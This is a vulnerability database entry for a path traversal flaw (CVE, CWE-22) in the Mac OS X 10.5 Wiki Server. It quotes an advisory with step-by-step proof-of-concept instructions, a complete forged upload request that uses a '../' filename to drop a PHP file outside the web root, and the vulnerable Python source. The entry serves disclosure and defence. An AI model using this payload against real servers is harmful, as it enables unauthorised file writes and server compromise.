CVE Descriptions

Directory traversal vulnerability in ContentServer.py in the Wiki Server in Apple Mac OS X 10.5.2 (aka Leopard) allows remote authenticated users to write arbitrary files via ".." sequences in file attachments.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/28278/info Apple Mac OS X Server Wiki Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting this issue allows an attacker to access arbitrary files outside of the application's document root directory. This can expose sensitive information that could help the attacker launch further attacks. Note that attackers must be registered wiki users to exploit this issue. Wiki Server from Mac OS X Server 10.5 is vulnerable. Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where '[xxxxx]' are random hexa characters assigned to the file, as we have said. You can write on all the folders where user '_teamsserver', the user running the Wiki Server, has permissions. For example, to reproduce the attack using Paros proxy [3], follow these steps: - Check the web server is up. - Check you have a system user/password in the system, for example guest, and the log in. - Start editing a new post in your blog. - Start Paros proxy, go to Trap tab and enable Trap requests checkbox. - Start uploading your preferred file, for example popote.php. - In Paros, press Continue until you find the POST request. - Append '../../../../../../..' at the beginning of 'popote.php' plus your wished path, for example '/tmp/'. - Press Continue a couple of times to send the request. - If user '_teamsserver' has permissions on the wished folder, you will write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are hash/random hexa characters that depend on the file. There are several strategies that can be used in combination with a path traversal to gain complete control of the victim's server, although we will not discuss them here. An example forged request follows: /----------- POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0 User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13 Host: 192.168.xxx.xxx Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: identity, *;q=0 Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/ Cookie: cookies=1; acl_cache=3; recentTags=add tags here; SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6; sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904 Cookie2: $Version=1 Proxy-Connection: close Content-length: 426 Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21 ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="Attachment"; filename="../../../../../../../tmp/popote.php" Content-Type: application/octet-stream <? phphinfo(); ?> ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="ok_button" Attach ------------YN7xkbcuNgNx21psG30p21 Content-Disposition: form-data; name="upload_id" 57904 ------------YN7xkbcuNgNx21psG30p21-- -----------/ The vulnerable code is located at '/usr/share/wikid/lib/python/apple_wlt/ContentServer.py': /----------- def uploadFileCallback(self, result): filename, filetype, aFile = result[1][self.type][0] filename = filename.decode('utf-8') filename = filename.split('\\')[-1] # IE sends the whole path, including your local username. extension = filename.split('.')[-1] oldFilename = filename uploadType = os.path.split(self.fullpath)[-1] if uploadType == "images": filename = SettingsManager.findGoodName() + '.' + extension logging.debug("beginning file upload: %s" % filename) isImage = filenameIsImage(filename) newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath, filename), isImage = (not uploadType == 'attachments')) newFilename = os.path.basename(newPath) if uploadType == "attachments": newParentFolder = os.path.dirname(newPath) os.mkdir(newParentFolder) newFilename = os.path.join(os.path.basename(newParentFolder), filename) [...] -----------/ The hash/random hexa characters used for the attachment subfolder are generated by code at '/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py': /----------- def findUniqueFileName(inPath, isImage = True): """Uniqueifies a file name, to avoid duplicates in images and attachments""" filename = os.path.basename(inPath) base, extension = os.path.splitext(filename) parent = os.path.dirname(inPath) aPath = '' mungedName = SettingsManager.findGoodName() if not isImage: #attachment, so make the minged name a subdirectory and put the file in that aPath = os.path.join(parent, mungedName, filename) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName, filename) else: aPath = os.path.join(parent, mungedName + extension) while os.path.exists(aPath): mungedName = SettingsManager.findGoodName(mungedName) aPath = os.path.join(parent, mungedName + extension) return aPath -----------/
